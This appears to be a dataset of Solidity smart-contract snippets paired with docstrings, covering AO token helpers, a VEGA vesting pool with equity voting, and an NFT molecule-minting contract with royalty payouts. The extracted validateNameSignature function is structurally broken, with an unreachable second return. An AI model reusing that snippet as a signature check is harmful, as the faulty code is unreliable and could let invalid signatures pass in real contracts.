function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
/**
* @dev Calculate the new multiplier after burning primordial token
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _amountToBurn = B
* _newMultiplier = E
* E = (P x M) / (P - B)
*
* @param _primordialBalance Account's primordial token balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _amountToBurn The amount of primordial token to burn
* @return The new multiplier
*/
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
/**
* @dev Calculate the new multiplier after converting network token to primordial token
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _amountToConvert = C
* _newMultiplier = E
* E = (P x M) / (P + C)
*
* @param _primordialBalance Account's primordial token balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _amountToConvert The amount of network token to convert
* @return The new multiplier
*/
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
/**
* @dev Get TAO Currency Balances given a nameId
* @param _nameId The ID of the Name
* @param _logosAddress The address of Logos
* @param _ethosAddress The address of Ethos
* @param _pathosAddress The address of Pathos
* @return sum Logos balance of the Name ID
* @return Ethos balance of the Name ID
* @return Pathos balance of the Name ID
*/
function getTAOCurrencyBalances(
address _nameId,
address _logosAddress,
address _ethosAddress,
address _pathosAddress
) public view returns (uint256, uint256, uint256) {
return (
Logos(_logosAddress).sumBalanceOf(_nameId),
TAOCurrency(_ethosAddress).balanceOf(_nameId),
TAOCurrency(_pathosAddress).balanceOf(_nameId)
);
}
/**
* @dev Return the address that signed the data and nonce when validating signature
* @param _callingContractAddress the address of the calling contract
* @param _data the data that was signed
* @param _nonce The signed uint256 nonce
* @param _v part of the signature
* @param _r part of the signature
* @param _s part of the signature
* @return the address that signed the message
*/
function getValidateSignatureAddress(address _callingContractAddress, string _data, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _data, _nonce));
return ecrecover(_hash, _v, _r, _s);
}
/***** Internal Methods *****/
/**
* @dev Check whether the network token and/or primordial token is adequate to pay for the filesize
* @param _treasuryAddress AO treasury contract address
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _fileSize The size of the file
* @return true when the amount is sufficient, false otherwise
*/
function _stakeAmountValid(address _treasuryAddress, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _fileSize) internal view returns (bool) {
return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) >= _fileSize;
}
}
contract Epiphany is TheAO {
string public what;
string public when;
string public why;
string public who;
address public where;
string public aSign;
string public logos;
constructor() public {
what = 'The AO';
when = 'January 6th, 2019 a.d, year 1 a.c. Epiphany. An appearance or manifestation especially of a divine being. An illuminating discovery, realization, or disclosure.';
why = 'To Hear, See, and Speak the Human inside Humanity.';
who = 'You. Set the world, Free. – Truth';
aSign = '08e2c4e1ccf3bccfb3b8eef14679b28442649a2a733960661210a0b00d9c93bf';
logos = '0920c6ab1848df83a332a21e8c9ec1a393e694c396b872aee053722d023e2a32';
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev Set `where` value
* @param _where The new value to be set
*/
function setWhere(address _where) public onlyTheAO {
where = _where;
}
}
|
Check whether or not the signature is valid _data The signed string data _nonce The signed uint256 nonce (should be Name's current nonce + 1) _validateAddress The ETH address to be validated (optional) _name The name of the Name _signatureV The V part of the signature _signatureR The R part of the signature _signatureS The S part of the signature return true if valid. false otherwise/
|
function validateNameSignature(
string _data,
uint256 _nonce,
address _validateAddress,
string _name,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS
) public view returns (bool) {
require (_nameTAOLookup.isExist(_name));
address _nameId = _nameTAOLookup.getAddressByName(_name);
address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS);
if (_validateAddress != address(0)) {
return (
_nonce == nonces[_nameId].add(1) &&
_signatureAddress == _validateAddress &&
_namePublicKey.isKeyExist(_nameId, _validateAddress)
);
return (
_nonce == nonces[_nameId].add(1) &&
_signatureAddress == _namePublicKey.getDefaultKey(_nameId)
);
}
}
| 10,007,106
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.1;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ISHP {
function balanceOfAt(address owner, uint256 blockNumber) external pure returns (uint256);
function totalSupplyAt(uint256 blockNumber) external pure returns (uint256);
}
interface IVegaVesting {
function tranche_count() external view returns(uint8);
function withdraw_from_tranche(uint8 tranche_id) external;
function get_vested_for_tranche(address user, uint8 tranche_id) external view returns(uint256);
function user_total_all_tranches(address user) external view returns(uint256);
}
contract VEGA_Pool is Ownable {
uint256 public constant EXEPECTED_VEGA = 422000 ether;
uint256 public constant EQUITY_RATIO = 2500;
uint256 public assignSharesCutoff;
uint256 public equityTokens;
uint256 public equityTokensRedeemed;
uint256 public preferentialTokens;
uint256 public preferentialTokensRedeemed;
address public preferentialAddress;
bool public initialized = false;
ISHP public shp;
IERC20 public vega;
IVegaVesting public vegaVesting;
uint256 public referenceBlock;
bool public voteComplete = false;
bool public approveDistribution = false;
mapping(address => uint256) public equityShares;
mapping(address => bool) public permittedEquityHolders;
mapping(uint256 => address) public equityHolders;
mapping(address => int8) public distributionVotes;
mapping(address => bool) public shpTokensRedeemed;
uint256 public totalEquityHolders;
uint256 public totalShares;
uint256 public totalVotes;
int256 public voteOutcome;
uint256 public shpRedemptionCount;
event VoteCast(int8 vote, address shareholder);
event TokensClaimed(uint256 amount, address recipient);
event ERC20TokenWithdrawn(uint256 amount, address tokenAddress);
event EtherWithdrawn(uint256 amount);
event EquityIssued(address holder, uint256 amount,
uint256 totalEquityHolders, uint256 totalShares);
event PreferentialTokensRedeemed(uint256 amount);
event EquityTokensRedeemed(address recipient, uint256 amount);
event ExcessTokensRedeemed(uint256 amount);
event PermittedEquityHolderAdded(address holder);
event VegaPoolInitialized(address vegaAddress, address vestingAddress,
address preferentialAddress, uint256 assignSharesCutoff,
uint256 referenceBlock, address shpTokenAddress);
// This modifier makes sure the contract has been initialized
modifier requireInitialized() {
require(initialized, "Contract is not initialized.");
_;
}
// This modifier makes sure the contract is not initialized
modifier notInitialized() {
require(!initialized, "Contract has been initialized.");
_;
}
receive() external payable { }
/**
* This function allows equity holders to vote on whether tokens should
* remain theirs, or whether they should be made available for redemption
* by SHP token holders.
*
* If they vote to allow SHP token holders to redeem VEGA from the contract
* then SHP token holders will be able to call the claimTokens function
* and the amount of VEGA will be calculated based on their SHP holding
* at the reference Ethereum block.
*
* Once the vote has been successfully completed, if the equity holders vote
* AGAINST distrubiton, they will be able to redeem tokens by calling
* redeemTokensViaEquity. If they vote FOR distribution they will not be
* able to redeem any tokens. Instead SHP token holders will be able to
* redeem tokens by calling claimTokens.
*
* _vote the user's vote (1 = for, -1 = against)
**/
function castVote(int8 _vote) requireInitialized public {
require(block.timestamp > assignSharesCutoff,
"Cannot vote whilst shares can still be assigned.");
require(distributionVotes[msg.sender] == 0,
"You have already cast your vote.");
require(_vote == 1 || _vote == -1,
"Vote must be 1 or -1");
require(voteComplete == false,
"Voting has already concluded.");
require(equityShares[msg.sender] > 0,
"You cannot vote without equity shares.");
int256 weight = int256(getUserEquity(msg.sender));
distributionVotes[msg.sender] = _vote;
totalVotes += 1;
voteOutcome += (_vote * weight);
if(totalVotes == totalEquityHolders) {
voteComplete = true;
approveDistribution = voteOutcome > 0;
}
emit VoteCast(_vote, msg.sender);
}
/**
* This function withdraws any vested tokens and redeems the preferential
* tokens if they have not already been redeemed.
**/
function syncTokens() requireInitialized internal {
withdrawVestedTokens();
if(preferentialTokens > preferentialTokensRedeemed) {
redeemPreferentialTokens();
}
}
/**
* This function allows users that held SHP at the reference Ethereum block
* to claim VEGA from the smart contract, provided the equity holders have
* voted to permit them to do so.
*
* If permitted to do so, the equityTokens will be made available to users
* in direct proportion to the SHP held (divided by total supply) at the
* reference block.
**/
function claimTokens() requireInitialized public {
require(approveDistribution, "Distribution is not approved");
syncTokens();
require(preferentialTokens == preferentialTokensRedeemed,
"Cannot claim until preferential tokens are redeemed.");
uint256 shpBalance = shp.balanceOfAt(msg.sender, referenceBlock);
require(shpTokensRedeemed[msg.sender] == false,
"SHP holder already claimed tokens.");
uint256 vegaBalance = vega.balanceOf(address(this));
require(shpRedemptionCount > 0 || vegaBalance >= equityTokens,
"Cannot claim until all equity tokens are fully vested.");
uint256 shpSupply = shp.totalSupplyAt(referenceBlock);
uint256 mod = 1000000000000;
uint256 tokenAmount = (((shpBalance * mod) / shpSupply) *
equityTokens) / mod;
vega.transfer(msg.sender, tokenAmount);
equityTokensRedeemed += tokenAmount;
shpTokensRedeemed[msg.sender] = true;
shpRedemptionCount += 1;
emit TokensClaimed(tokenAmount, msg.sender);
}
/**
* This function allows the owner to withdraw any ERC20 which is not VEGA
* from the contract at-will. This can be used to redeem staking rewards,
* or other ERC20s which might end up in this contract by mistake, or by
* something like an airdrop.
*
* _tokenAddress the contract address for the ERC20
**/
function withdrawArbitraryTokens(
address _tokenAddress
) requireInitialized onlyOwner public {
require(_tokenAddress != address(vega),
"VEGA cannot be withdrawn at-will.");
IERC20 token = IERC20(_tokenAddress);
uint256 amount = token.balanceOf(address(this));
token.transfer(owner(), amount);
emit ERC20TokenWithdrawn(amount, _tokenAddress);
}
/**
* This function performs the same role as withdrawArbitraryTokens, except
* it is used to withdraw ETH.
**/
function withdrawEther() requireInitialized onlyOwner public {
uint256 amount = address(this).balance;
payable(owner()).transfer(amount);
emit EtherWithdrawn(amount);
}
/**
* This function can be called by anybody and it withdraws unlocked
* VEGA tokens from the vesting contract. The tokens are transferred
* to this contract, which allows them to be redeemed by the rightful owner
* when they call one of the redemption functions.
**/
function withdrawVestedTokens() requireInitialized internal {
for(uint8 i = 1; i < vegaVesting.tranche_count(); i++) {
if(vegaVesting.get_vested_for_tranche(address(this), i) > 0) {
vegaVesting.withdraw_from_tranche(i);
}
}
}
/**
* This function allows the owner to issue equity to new users. This is done
* by assigning an absolute number of shares, which in turn dilutes all
* existing share holders.
*
* _holder the Ethereum address of the equity holder
* _amount the number of shares to be assigned to the holder
**/
function issueEquity(
address _holder,
uint256 _amount
) requireInitialized onlyOwner public {
require(permittedEquityHolders[_holder],
"The holder must be permitted to own equity.");
require(assignSharesCutoff > block.timestamp,
"The cutoff has passed for assigning shares.");
if(equityShares[_holder] == 0) {
equityHolders[totalEquityHolders] = _holder;
totalEquityHolders += 1;
}
totalShares += _amount;
equityShares[_holder] += _amount;
emit EquityIssued(_holder, _amount, totalEquityHolders, totalShares);
}
/**
* This function allows the preferential tokens to be distributed to the
* rightful owner. This function can be called by anybody.
**/
function redeemPreferentialTokens() requireInitialized public {
require(preferentialTokens > preferentialTokensRedeemed,
"All preferntial tokens have been redeemed.");
withdrawVestedTokens();
uint256 availableTokens = preferentialTokens - preferentialTokensRedeemed;
uint256 vegaBalance = vega.balanceOf(address(this));
if(availableTokens > vegaBalance) {
availableTokens = vegaBalance;
}
vega.transfer(preferentialAddress, availableTokens);
preferentialTokensRedeemed += availableTokens;
emit PreferentialTokensRedeemed(availableTokens);
}
/**
* This function distributes tokens to equity holders based on the amount
* of shares they own.
*
* Anybody can call this function in order to ensure all of the tokens are
* distributed when it becomes eligible to do so.
**/
function redeemTokensViaEquity() requireInitialized public {
require(totalShares > 0, "There are are no equity holders");
require(assignSharesCutoff < block.timestamp,
"Tokens cannot be redeemed whilst equity can still be assigned.");
syncTokens();
require(preferentialTokens == preferentialTokensRedeemed,
"Cannot redeem via equity until all preferential tokens are collected.");
require(voteComplete, "Cannot redeem via equity until vote is completed.");
require(approveDistribution == false,
"Tokens can only be redeemed by SHP holders.");
uint256 availableTokens = equityTokens - equityTokensRedeemed;
uint256 vegaBalance = vega.balanceOf(address(this));
if(availableTokens > vegaBalance) {
availableTokens = vegaBalance;
}
for(uint256 i = 0; i < totalEquityHolders; i++) {
uint256 tokensToRedeem = (availableTokens *
getUserEquity(equityHolders[i])) / 10000;
vega.transfer(equityHolders[i], tokensToRedeem);
equityTokensRedeemed += tokensToRedeem;
emit EquityTokensRedeemed(equityHolders[i], tokensToRedeem);
}
}
/**
* This function allows anybody to redeem excess VEGA to the owner's wallet
* provided the following conditions are met:
*
* 1) No equity shares exist, which happens under two scenarios:
* a) They are never issued in the first place
* b) They are burnt after redeeming VEGA
* 2) The cut-off for assigning equity shares is in the past
*
* This function transfers the entire VEGA balance held by the
* smart contract at execution time.
**/
function redeemExcessTokens() requireInitialized public {
if(totalEquityHolders > 0) {
require(equityTokens == equityTokensRedeemed,
"Cannot redeem excess tokens until equity tokens are collected.");
}
require(preferentialTokens == preferentialTokensRedeemed,
"Cannot redeem excess tokens until preferential tokens are collected.");
withdrawVestedTokens();
uint256 amount = vega.balanceOf(address(this));
emit ExcessTokensRedeemed(amount);
vega.transfer(owner(), amount);
}
/**
* This function calculates the equity of the specified user
*
* _holder the Ethereum address of the equity holder
**/
function getUserEquity(
address _holder
) public view returns(uint256) {
return (equityShares[_holder] * 10000) / totalShares;
}
/**
* This function allows the contract to be initialized only once.
* We do not use the constructor, because the Vega vesting contract needs to
* know the address of this smart contract when it is deployed. Therefore,
* this contract needs to be deployed, and then updated with the address of
* the Vega vesting contract afterwards.
*
* _vegaAdress the Ethereum address of the VEGA token contract
* _vegaVestingAddress the Ethereum address of Vega's vesting contract
* _preferentialAddress Ethereum address for preferential tokens
* _holders an array of permitted equity holders
* _assignSharesCutoff timestamp after which shares cannot be assigned
* _referenceBlock the Ethereum block to lookup SHP balances with
* _shpTokenAddress the Ethereum address for SHP token contract
**/
function initialize(
address _vegaAddress,
address _vegaVestingAddress,
address _preferentialAddress,
address[] memory _holders,
uint256 _assignSharesCutoff,
uint256 _referenceBlock,
address _shpTokenAddress
) public onlyOwner notInitialized {
vega = IERC20(_vegaAddress);
shp = ISHP(_shpTokenAddress);
vegaVesting = IVegaVesting(_vegaVestingAddress);
uint256 totalTokens = vegaVesting.user_total_all_tranches(address(this));
preferentialAddress = _preferentialAddress;
assignSharesCutoff = _assignSharesCutoff;
referenceBlock = _referenceBlock;
require(totalTokens >= EXEPECTED_VEGA,
"The balance at the vesting contract is too low.");
for(uint8 x = 0; x < _holders.length; x++) {
permittedEquityHolders[_holders[x]] = true;
emit PermittedEquityHolderAdded(_holders[x]);
}
equityTokens = (totalTokens * EQUITY_RATIO) / 10000;
preferentialTokens = totalTokens - equityTokens;
initialized = true;
emit VegaPoolInitialized(_vegaAddress, _vegaVestingAddress,
_preferentialAddress, _assignSharesCutoff,
_referenceBlock, _shpTokenAddress);
}
}
|
This function performs the same role as withdrawArbitraryTokens, except it is used to withdraw ETH./
|
function withdrawEther() requireInitialized onlyOwner public {
uint256 amount = address(this).balance;
payable(owner()).transfer(amount);
emit EtherWithdrawn(amount);
}
| 14,917,460
|
./full_match/11155111/0xb7f2d231B01E1733D3F6f920BFa0bE4a5E3056aF/sources/contracts/NewContracts/721AV2(R,PS).sol
|
Sets the maximum number of tokens that can be minted in a batch. Only the contract owner can call this function.
|
function setMaxMintPerBatch(uint256 newMaxMintPerBatch) public onlyOwner {
maxMintPerBatch = newMaxMintPerBatch;
}
| 3,787,181
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "./MoleculeScripter.sol";
import "../node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @title ChemScripts Contract
/// @notice interface to get ElementBlocks owner addresses
interface ElementBlocksInterface {
function ownerOf(uint256 tokenId) external view returns (address owner);
}
/*
___ _ _ ___ __ __ ___ ___ ___ ___ ___ _____ ___
/ __| || | __| \/ / __|/ __| _ \_ _| _ \_ _/ __|
| (__| __ | _|| |\/| \__ \ (__| /| || _/ | | \__ \
\___|_||_|___|_| |_|___/\___|_|_\___|_| |_| |___/
This is an ode to the scientific and technological progress humanity has made.
It is also a reminder of the importance of freedom and the decentralization of
power.
The contract allows creators to store generative art scripts that
turn chemical molecules into artworks.
Every molecule that has been discovered so far can be minted.
Use this experimental software at your own risk.
*/
contract MoleculeSynthesizer is MoleculeScripter, ERC721 {
////////////////////////////////////////////////////////////////////////////////////////
// SETUP //
////////////////////////////////////////////////////////////////////////////////////////
/// @notice initiates the ElementBlocks contract
ElementBlocksInterface elementBlocksContract;
/// @notice sets up the token name, tracker and the ElementBlocks contract address
constructor(address _elementsContract) ERC721("ChemScripts", "CHEMS") {
elementBlocksContract = ElementBlocksInterface(_elementsContract);
}
/// @notice element short names to ElementBlocks tokenIDs
mapping (string => uint) public elementToId;
/// @notice allows contract owner to set the element's tokenIDs
function setElementId (string memory _element, uint _elementId) public onlyOwner {
elementToId[_element] = _elementId;
}
/// @notice gets element tokenIDs
function getElementId (string memory _element) public view returns(uint) {
return elementToId[_element];
}
////////////////////////////////////////////////////////////////////////////////////////
// ERC721 MAGIC //
////////////////////////////////////////////////////////////////////////////////////////
/// @notice apiURI stores the base URI to which the tokenID can be added for tokenURI
string public apiURI;
/// @notice contract owner can set and change the apiURI
function setApiURI(string memory _apiURI) external onlyOwner {
apiURI = _apiURI;
}
/// @notice returns the apiURI
function _baseURI() internal view virtual override returns (string memory) {
return apiURI;
}
////////////////////////////////////////////////////////////////////////////////////////
// NFT CHEMISTRY //
////////////////////////////////////////////////////////////////////////////////////////
/// @notice event is emitted when a new molecule gets minted
event NewMolecule(uint indexed moleculeId, string formula, string indexed key, string name, uint16 indexed scriptId);
/// @notice stores molecule information
/// @param formula is in InChI (international chemical Identifier) format
/// @param key is a unique hash for each molecule
/// @param name must be one of the molecules official names
/// @param scriptId links to the generative art script that visualizes the molecule
struct Molecule {
string formula;
string key;
string name;
uint16 scriptId;
}
/// @notice tokenIds to molecules
mapping (uint => Molecule) public molecules;
/// @notice keys to tokenIDs
mapping (string => uint) public keys;
/// @notice ensures that each molecule can only exist once per script
function moleculeChecker (uint16 _scriptId, string memory _key) public view {
if (keys[_key] > 0) {
require(molecules[keys[_key]-1].scriptId != _scriptId, "molecule already minted");
}
}
/// @notice mints an ERC721 token and ties it to the molecule
/// @param _formula requires everything after "InChI=" to at least one letter after the second slash
function _createMolecule(
string memory _formula,
string memory _key,
string memory _name,
uint16 _scriptId
) internal mintableScript(_scriptId) returns (uint) {
moleculeChecker(_scriptId, _key);
uint id = _scriptId * 100000 + scripts[_scriptId].currentSupply;
_safeMint(msg.sender, id);
molecules[id] = Molecule(_formula, _key, _name, _scriptId);
keys[_key] = id+1;
scripts[_scriptId].currentSupply++;
emit NewMolecule(id, _formula, _key, _name, _scriptId);
return id;
}
/// @notice allows contract owner to re-assign wrong molecules when script not yet sealed
function chemPolice(
uint _moleculeId,
string memory _formula,
string memory _key,
string memory _name) notSealed(molecules[_moleculeId].scriptId) onlyOwner external {
Molecule storage wrongMolecule = molecules[_moleculeId];
wrongMolecule.formula = _formula;
wrongMolecule.key = _key;
wrongMolecule.name = _name;
}
////////////////////////////////////////////////////////////////////////////////////////
// MINTING & ROYALTIES //
////////////////////////////////////////////////////////////////////////////////////////
/// @notice elementPercentage percentage that gets send to ElementBlocks holders
uint public elementPercentage = 50;
/// @notice allows contract owner to set percentage that flows to element holders
function elementSetup(uint _elementPercentage) external onlyOwner {
elementPercentage = _elementPercentage;
}
/// @notice element that currently gets the general royalties
uint public royaltyHoldingElement = 1;
/// @notice increments the royaltyHoldingElement and accounts for non-existent tokens
function _nextRoyaltyHolder() internal {
royaltyHoldingElement++;
if (royaltyHoldingElement == 101) {
royaltyHoldingElement++;
} else if (royaltyHoldingElement == 107) {
royaltyHoldingElement ++;
} else if (royaltyHoldingElement == 121) {
royaltyHoldingElement = 1;
}
}
/// @notice gets current price and enables dutch auctions
function getPrice(uint _scriptId) view public returns(uint) {
uint duration = uint256(scripts[_scriptId].saleDuration) * 1 hours;
if (!scripts[_scriptId].publicSale && !scripts[_scriptId].whitelistSale) {
return 0; // allows creator and owner to test mint for free before the sale starts
} else if ((block.timestamp - startingTime[_scriptId]) >= duration) {
return scripts[_scriptId].endPrice;
} else {
return ((duration - (block.timestamp - startingTime[_scriptId])) * ((scripts[_scriptId].startPrice - scripts[_scriptId].endPrice) / duration) + scripts[_scriptId].endPrice);
}
}
/// @notice distributes funds from minting to script creator and ElementBlock holders
function _distributeFunds(uint _scriptId, string memory _formula, uint _numberOfElements) internal {
if (msg.value > 0) {
// script creator funds
payable(scripts[_scriptId].creator).send(
(msg.value - (msg.value*elementPercentage/100))
);
// specific elements royalties
uint[] memory elementIds = formulaToElementIds(_formula, _numberOfElements);
uint fundsPerElement = msg.value*elementPercentage/2/elementIds.length/100;
for (uint i = 0; i < elementIds.length; i++) {
payable(elementBlocksContract.ownerOf(elementIds[i])).send(fundsPerElement);
}
// general element royalties
payable(elementBlocksContract.ownerOf(royaltyHoldingElement)).send(msg.value*elementPercentage/2/100);
_nextRoyaltyHolder();
}
}
/// @notice returns tokenIds from all elements in a formula
function formulaToElementIds(string memory _formula, uint _numberOfElements) public view returns(uint[] memory) {
uint[] memory elementIds = new uint[](_numberOfElements);
uint slashCounter = 0;
uint elementsFound = 0;
bytes memory moleculeBytes = bytes(_formula);
for (uint i=1; i<moleculeBytes.length; i++) {
if (bytes1("/") == moleculeBytes[i-1]) {
slashCounter++;
}
if (slashCounter == 2) {
if (_numberOfElements != elementsFound) {
revert("Wrong elements nr");
}
return elementIds;
}
if (slashCounter > 0) {
string memory oneLetter = string(abi.encodePacked(moleculeBytes[i-1]));
string memory twoLetters = string(abi.encodePacked(oneLetter, abi.encodePacked(moleculeBytes[i])));
if (elementToId[twoLetters] > 0) {
uint element = elementToId[twoLetters];
elementIds[elementsFound] = element;
elementsFound++;
} else if (elementToId[oneLetter] > 0) {
uint element = elementToId[oneLetter];
elementIds[elementsFound] = element;
elementsFound++;
}
}
}
revert("Wrong formula");
}
/// @notice mints a molecule
/// @param _numberOfElements is the number of different elements in the formula
/// @dev set the _numberOfElements to how often the element's letters occur in formula
function mintMolecule(
string memory _formula,
string memory _key,
string memory _name,
uint16 _scriptId,
uint _numberOfElements
) public payable {
require(msg.value >= getPrice(_scriptId), "Insufficient funds");
require(scripts[_scriptId].publicSale || msg.sender == scripts[_scriptId].creator || msg.sender == owner(), "No public sale");
_distributeFunds(_scriptId, _formula, _numberOfElements);
_createMolecule(_formula, _key, _name, _scriptId);
}
/// @notice root for whitelist minting
bytes32 public merkleRoot;
/// @notice allows owner to set the merkleRoot for whitelist minting
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
merkleRoot = _merkleRoot;
}
/// @notice counts the total amount of whitelisted mints across scripts per address
mapping (address => uint) public mintCount;
/// @notice mints a molecule when msg.sender is whitelisted
/// @param _numberOfElements is the number of different elements in the formula
/// @param _whitelisted the amount for which msg.sender is whitelisted
/// @param _proof an array of proof hashes for the MerkleProof
/// @dev set the _numberOfElements to how often the element's letters occur in formula
function whitelistMint(
string memory _formula,
string memory _key,
string memory _name,
uint16 _scriptId,
uint _numberOfElements,
uint _whitelisted,
bytes32[] memory _proof
) public payable {
require(msg.value >= getPrice(_scriptId), "Insufficient funds");
require(scripts[_scriptId].whitelistSale || msg.sender == scripts[_scriptId].creator || msg.sender == owner(), "No WL sale");
require(MerkleProof.verify(_proof, merkleRoot, keccak256(abi.encodePacked(msg.sender, _whitelisted))), "merkle proof failed");
require(mintCount[msg.sender]<_whitelisted, "max reached");
mintCount[msg.sender] += 1;
_distributeFunds(_scriptId, _formula, _numberOfElements);
_createMolecule(_formula, _key, _name, _scriptId);
}
/// @notice contract owner can withdraw ETH that was accidentally sent to this contract
function rescueFunds() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
